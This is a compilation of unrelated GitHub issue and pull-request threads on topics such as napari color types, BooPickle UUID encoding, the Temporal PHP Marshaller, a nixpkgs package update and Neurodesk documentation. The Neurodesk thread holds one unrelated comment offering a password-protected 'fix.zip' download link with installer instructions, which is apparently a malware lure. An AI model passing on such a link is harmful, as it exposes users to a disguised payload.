        return np.empty((0, 4)) if len(val) == 0 else transform_color(val)

See the closed WIP PR for more context.
At the moment we have a need to distinguish between a field that stores a single color and one that stores multiple colors, thus the two types.
One downside of this approach is that Array[float, (4,)] is more descriptive than ColorValue - i.e. you need to go look at the docstring and definition of ColorValue to understand it.

I like ColorValue and ColorArray, mirrors what vispy has a bit of I think. What do @tlambert03 and @jni think?

@andy-sweet ... can you remind me whether we can't just subclass pydantic's color to deal with the edge cases we have in napari? I know that pydantic's color wasn't sufficient, but can't remember whether a subclass would fix it.

I wrote some notes about pydantic's Color limitations with respect to napari. If we only wanted to represent single colors (and not multiple colors in one field), I think we could do what you said pretty easily.
The harder problem is how to handle fields that store multiple colors and how to get an Nx4 RGBA array (e.g. as vispy wants) efficiently. Using something like List[Color] directly probably means we'd have to iterate over that and copy it into an Nx4 array every time we read the field. I suppose we could define a ColorArray type and cache the Nx4 RGBA array.
I did try using pydantic's color to reimplement transform_color in a branch, but it wasn't as straightforward as I hoped. Maybe it's worth picking that work back up again as part of this issue.
Overall, I like the simplicity of the RGBA array representation. So given the extra work needed to make pydantic work, my recommendation is to stick with it.


ci: switch to github actions

@rm-hull can you also disable travis for this repo?

ps. HD44780 is missing in github description


Test Istio release "Istio 1.7.3"

Istio recently (2020-09-29 19:39:28 +0000 UTC) released "Istio 1.7.3". Let's test it :rocket:.

This is done (1.7.3 is latest).
/close


Remove kubectl dependencies on unversioned kubernetes API packages

Change libraries that rely on unversioned API structs from kubernetes/kubernetes to use externally available versioned structs from kubernetes/api

Also see:https://github.com/kubernetes/kubernetes/issues/48564

Closing in favor of kubernetes/kubectl#83


test: add e2e infra with playwright and a sample test

Adding infrastructure for running end-to-end test suite

Ok rebased a few commits out here to clean up the history, ready to merge with E2E tests running on CI @MichalPorag


Right to Left Dialog Title

Hi,
I am wondering how to change the direction of Title and Message in Dialog to RTL ?

Hi, sorrry but I don't understand what it is the mean of RTL. Could you tell me?

RTL: Right to Left Direction,
Direction of paragraph starts from Right ends at left side of the page

UP

it's my question too !

it's my question too !


Extend safe-max for compose in time.pred to allow for more distant intersections

Patches issue #41. Outcome for "Friday April 24th from 8pm to 2am" was incorrect because "Friday April 24th" (or any   intersection more than 100 weeks before or after the context reference time) was not resolving to a value.

Thanks :)


Support null UUIDs

ran into an issue using BooPickle, since (due to legacy code) we have objects with null UUID fields going across the wire. Switched UUIDPickler to using immutableRefs.
Cons

UUIDs grow by 1 byte.

Pros

null UUIDs don't crash.
our datamodel happens to often push many repeated UUIDs in one message (for instance a message with a "parent" object and many "child" objects, all children containing the parent UUID and other UUIDs that will be the same across them), so data savings for us

I recognize that most people will probably only ever send unique UUIDs across the wire, and they're not going to be null, but seems like going from 16 bytes to 17 isn't the end of the world.

Thanks! However I think it would be better if the null was the exceptional case requiring extra data instead of putting that to all other cases too.
This can be achieved by choosing a special UUID, when encountered in encoding/decoding causes another byte to be written/read which determines whether it was the actual UUID or null. For example UUID value of FFFFFFFFFFFFFFFF could be a good candidate for this. So a byte string of FFFFFFFFFFFFFFFF00 would mean the UUID FFFFFFFFFFFFFFFF and FFFFFFFFFFFFFFFF01 would mean null.
When encoded in this fashion, only null and that special UUID require 17 bytes, everything else still fits into 16.

I can do this...
assuming I still want to do this by way of immutableRef, since (for us) it'll be a big savings, is there a way I can somehow provide an implicit pickler for UUID without getting "ambiguous implicit values" conflict with UUIDPickler?

If you use gzip compression in your transport, it will take care of duplicate UUIDs quite nicely, so you won't see a big effect from using immutableRefs. Their purpose is mainly to ensure a single instance of a reference after decoding. As for implicit priorities, you may need to experiment a bit, maybe even by creating an object inheriting from the Diode implicits trait, instead of using the default one.

Assuming you meant BooPickle instead of Diode...I don't know if WebSockets use compression, I'm guessing no. I'd already created an object that extends the same traits as DefaultBasic, so UUIDPickler is in scope and causes issues...anyway I'll play around with it.

force pushed an amended commit. I'd still like deduped UUIDs, but we're better off than we were with uPickle, so, I can live with it. I chose to use 0000000-0000-0000-0000-000000000000 instead, since (judging from code comments) the zeros encode smaller than fffffffffffffff.
er, scratch that, duh, raw long is always 8 bytes. still will keep it as-is, as neither 0 nor ffffff are ever going to get randomly generated, and the consequence is 16 -> 17 bytes.

As for compression, at least Chrome supports gzip on websockets, but it's not on the standard level yet. Of course the server must support it too :)

LGTM


Marshaller upgrade

What was changed
Using new RuleFactoryInterface all Marshaller types can generate Marshaller rules based on a parameter reflection.
By the reason it is unnecessary to use the #[Marshal] attribute in most cases. You should use the attribute
when you are using Union Types or Intersection Types.
New features

The #[Marshal] attribute now has the $nullable parameter. You don't need to use the NullableType::class value
as the $type argument  inside the #[Marshal] attribute.
Note: #[MarshallArray] has different default value for the $nullable parameter.
That was made to prevent incompatible behavior (see #245).
The #[Marshal] attribute can be nested. You can put another #[Marshal] attribute as the $to argument for
NullableType and ArrayType.
ArrayType can now process iterable type automatically.
ObjectType:

now supports DTOs with readonly fields;
can process nested objects. Nested objects can have #[Marshal] attributes.

DateTimeType now supports mutable and immutable DateTime types:

in a DateTimeImmutable property a DateTimeImmutable object will be unmarshalled;
in a DateTime property a DateTime object will be unmarshalled;
in a Carbon\CarbonImmutable property a Carbon\CarbonImmutable object will be unmarshalled;
in a DateTimeInterface or Carbon\Carbon property a Carbon\Carbon object will be unmarshalled;
to change default behavior you can pass to the #[Marshal] attribute the needed class name as the $of argument.

Changes and deprecations:

The method ObjectType::instance() has been marked as deprecated.
Marshaller will throw a detailed exception about invalid argument value during unmarshalling.

Warning: marshalling rules that was got from the #[Marshal] attribute now are stricter than before.
All attributed properties with nullable type will be not nullable by default (excluding #[ArrayType]).
In the case when the null value is passed, an exception will be thrown.
In this case you just need to remove the #[Marshal] attribute or set the $nullable parameter to true.

Checklist

Close #274
How was this tested: Unit tests
Documentation changes: there are no documentation about Mershaller in the Temporal docs.

@zlodes hi. Do you want to test it and send a feedback?

@roxblnfk Hi! Yeah. I'm going to test it in a couple of days.
Thanks!

@roxblnfk Hi! Yeah. I'm going to test it in a couple of days. Thanks!

That's good. Plese give a feedback here after that. Thank you.
To test you should use dev-master.
composer require temporal/sdk:dev-master

@roxblnfk hi! Now Marshaller works fine with nested DTO. Thanks! 🚀
I have a question connected to Marshaller.
Now I'm getting an error about marshalling of enums.
I know that it won't work by default due to support of oldest PHP versions.
Also we use Decimal extension.
I added a DecimalType class extends abstract Type and use it with #[Marshal] attribute.
Is there a way to use Marshaller w/o #[Marshal] attribute for these cases?

@zlodes thank you for feedback!

Now I'm getting an error about marshalling of enums.
I know that it won't work by default due to support of oldest PHP versions.

PHP 8.1 enums will work without attribute if you find a way to create and inject the Marshaller with the type EnumType in the second argument.
I think I should make it easier and add the EnumType by default for PHP >8.1 🤔.
@wolfy-j WDYT?

@roxblnfk Yeap, I think it would be better to add EnumType to TypeFactory::getDefaultMatchers


python37Packages.inflection: 0.4.0 -> 0.5.0

Semi-automatic update generated by nixpkgs-update tools. This update was made based on information from https://repology.org/metapackage/python3.7-inflection/versions.
meta.description for python37Packages.inflection is: "A port of Ruby on Rails inflector to Python"
meta.homepage for python37Packages.inflection is: "https://github.com/jpvanhal/inflection"
meta.changelog for python37Packages.inflection is: ""
Updates performed

Version update

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS

Warning: a test defined in passthru.tests did not pass

0 of 0 passed binary check by having a zero exit code.

0 of 0 passed binary check by having the new version present in output.

found 0.5.0 with grep in /nix/store/ww9fk76klxxirfm9r4x00gb4zij8i8kz-python3.7-inflection-0.5.0

directory tree listing: https://gist.github.com/4916a8bf19255b68459facc516cb7ae0

du listing: https://gist.github.com/65ebb6ec138e75c2633f1cb2f7484cbe

Rebuild report (if merged into master) (click to expand)

74 total rebuild path(s)

20 package rebuild(s)

20 x86_64-linux rebuild(s)
14 i686-linux rebuild(s)
20 x86_64-darwin rebuild(s)
20 aarch64-linux rebuild(s)

First fifty rebuilds by attrpath
python37Packages.Quandl
python37Packages.connexion
python37Packages.drf-yasg
python37Packages.inflection
python37Packages.pytest-factoryboy
python37Packages.qasm2image
python37Packages.qds_sdk
python37Packages.qiskit
python37Packages.qiskit-aqua
python37Packages.quandl
python38Packages.Quandl
python38Packages.connexion
python38Packages.drf-yasg
python38Packages.inflection
python38Packages.pytest-factoryboy
python38Packages.qasm2image
python38Packages.qds_sdk
python38Packages.qiskit
python38Packages.qiskit-aqua
python38Packages.quandl

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/ww9fk76klxxirfm9r4x00gb4zij8i8kz-python3.7-inflection-0.5.0 \
  --option binary-caches 'https://cache.nixos.org/ https://r-ryantm.cachix.org/' \
  --option trusted-public-keys '
  r-ryantm.cachix.org-1:gkUbLkouDAyvBdpBX0JOdIiD2/DP1ldF3Z3Y6Gqcc4c=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(r-ryantm's Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python37Packages.inflection https://github.com/r-ryantm/nixpkgs/archive/526a02725d4889ae5874ea20f9cad0bb4c3e7b89.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/ww9fk76klxxirfm9r4x00gb4zij8i8kz-python3.7-inflection-0.5.0
ls -la /nix/store/ww9fk76klxxirfm9r4x00gb4zij8i8kz-python3.7-inflection-0.5.0/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review 1

1 package failed to build:
- python38Packages.connexion

15 packages built:
- python37Packages.Quandl (python37Packages.quandl)
- python37Packages.connexion
- python37Packages.drf-yasg
- python37Packages.inflection
- python37Packages.pytest-factoryboy
- python37Packages.qds_sdk
- python37Packages.qiskit
- python37Packages.qiskit-aqua
- python38Packages.Quandl (python38Packages.quandl)
- python38Packages.drf-yasg
- python38Packages.inflection
- python38Packages.pytest-factoryboy
- python38Packages.qds_sdk
- python38Packages.qiskit
- python38Packages.qiskit-aqua

Maintainer pings
cc @NikolaMandic @ilya-kolpakov for testing.

newer on master

newer on master


Consider replace SixLabors.ImageSharp with the equivalent

Consider replace SixLabors.ImageSharp with the equivalent
I don't see the point in being dependent on a library that plans to switch to a commercial license https://sixlabors.com/posts/license-changes/

I see, what are the options? We don't actually use much of the features of SixLabors.ImageSharp. I believe mostly for size/colors.

More information:

https://github.com/SixLabors/ImageSharp/discussions/2151
Update on ImageSharp from .NET Foundation

From what I see if library is open source and we use SixLabors.ImageSharp there's no need to change anything:

"Transitive Package Dependency" shall mean any Work in Object form that is installed indirectly by a third party dependency unrelated to Six Labors.

Meaning that any open source software uses ImageSharp, and you have commercial software that uses this free library, but it doesn't automatically mean you have to pay for it. So there's no direct, instant danger.
Having said that I would be interested in alternatives.


play information is on two different pages

https://play.neurodesk.org/
https://www.neurodesk.org/docs/getting-started/neurodesktop/play/
can we consolidate with the restructuring task?

Download
https://www.mediafire.com/file/3hzk77cxvxc9nq2/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Yeah, the https://play.neurodesk.org only exists because we were planning to use geo-location steering, which we weren't able to do with tls. So its a simple workaround i.e. We just give / promot the https://play.neurodesk.org link, and users self select their optimal server
Otherwise, we have to give (or users find) https://www.neurodesk.org/docs/getting-started/neurodesktop/play/ which is harder to remember

so, could play.neurodesk.org forward to https://www.neurodesk.org/docs/getting-started/neurodesktop/play/  ?

We could just keep, maintain and update the links at play.neurodesk.org, and on the main site have:
Hosted Neurodesk environments
Play
Play is for ....
See https://play.neurodesk.org for nearest server

Shall we revamp the Getting started section? Separate installation and starting command to avoid long instructions and GPU support is often neglected at the end of the doc. There's also some duplication between neurocommand and neurocontainers.
Installation and Setup
Graphical Interface (GUI)
Linux
Windows
macOS
Cloud Deployment
Troubleshooting Installation
Command Line Interface (CLI)
using CVMFS
using Datalad
using Docker
using Singularity
on HPC
Cloud Deployment
Usage Guide
lmod
module load
gpu
data storage

Proposal: We keep the information on play.neurodesk.org and remove the information from the main documentation and replace it with a link to play.neurodesk.org.
This new link will be in under the new "hosted" section.

proposal for the website restructure:
meeting with @iishiishii , @aswinnarayanan, @stebo85
idea:
decision of the users should be

Client "how to access": Neurodesk App, Browser, CLI,
Server "where it's running": Local Docker, HPC, Play, Nectar ...

write a list of how users can currently access neurodesk and see if we can find common clusters

Change 1:
Under getting started: 2 new sections:

Hosted -> Play (move with redirect), Nectar (move with redirect), Colab (move),
Local -> Neurodesk App

These two things become our new getting started buttons + What is Neurodesk
@iishiishii - until end of week, or Aswin/Steffen after that
Future Change:
Move advanced Topics into Developers

k3s

move rarely used instructions + merge HPC Linux and Neurcommand

Updated doc: https://iishiishii.github.io/neurodesk.github.io/
If there's no issue, I'll merge my PR

great - looks all good to me and can be merged :)


Running setup.py directly to build a wheel is deprecated. The examples should be updated.

When building a wheel package using "python setup.py bdist_wheel", the following message is shown:
SetuptoolsDeprecationWarning: setup.py install is deprecated.
!!
    ********************************************************************************
    Please avoid running ``setup.py`` directly.
    Instead, use pypa/build, pypa/installer, pypa/build or
    other standards-based tools.

    See https://blog.ganssle.io/articles/2021/10/setup-py-deprecated.html for details.
    ********************************************************************************

!!
Per blog, should "pip install build" and then run "python -m build -w" from the folder where setup.py is located.
Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: c37d1cb4-805b-173c-ac62-1037c5bedb7f
Version Independent ID: 91cfb14e-b752-93e2-52a7-25d8d3fe66d5
Content: Publish Python packages - Azure Pipelines
Content Source: docs/pipelines/artifacts/pypi.md
Service: azure-devops-pipelines
Sub-service: azure-devops-pipelines-artifacts
GitHub Login: @ramiMSFT
Microsoft Alias: rabououn

@gitmadness Thanks for your feedback! I ran this on my end and it passed. Your approach is also valid. Feel free to use our Azure DevOps Developer Community if you have any further questions.


Fix for TilingSprite.tilePosition with textureResolution > 2 on CanvasRenderer

Fixes #3892 a small calculation issue with tilingsprites.

How can I prevent these messages from appearing here and only having my last commit mentioned in the pull request?

@brenwell don't worry about it, we'll squash these commits when it is merged in.

Ok Cheers @bigtimebuddy. But for future reference how can I prevent that. Should I be using rebase instead?

You should branch from dev to make changes, one branch per PR. Also consider rebasing onto dev if a bunch of changes make it in, to ensure your PR is on the latest version.
Either way, it is fine; we will squash these out later.

Ok, will do in future. Cheers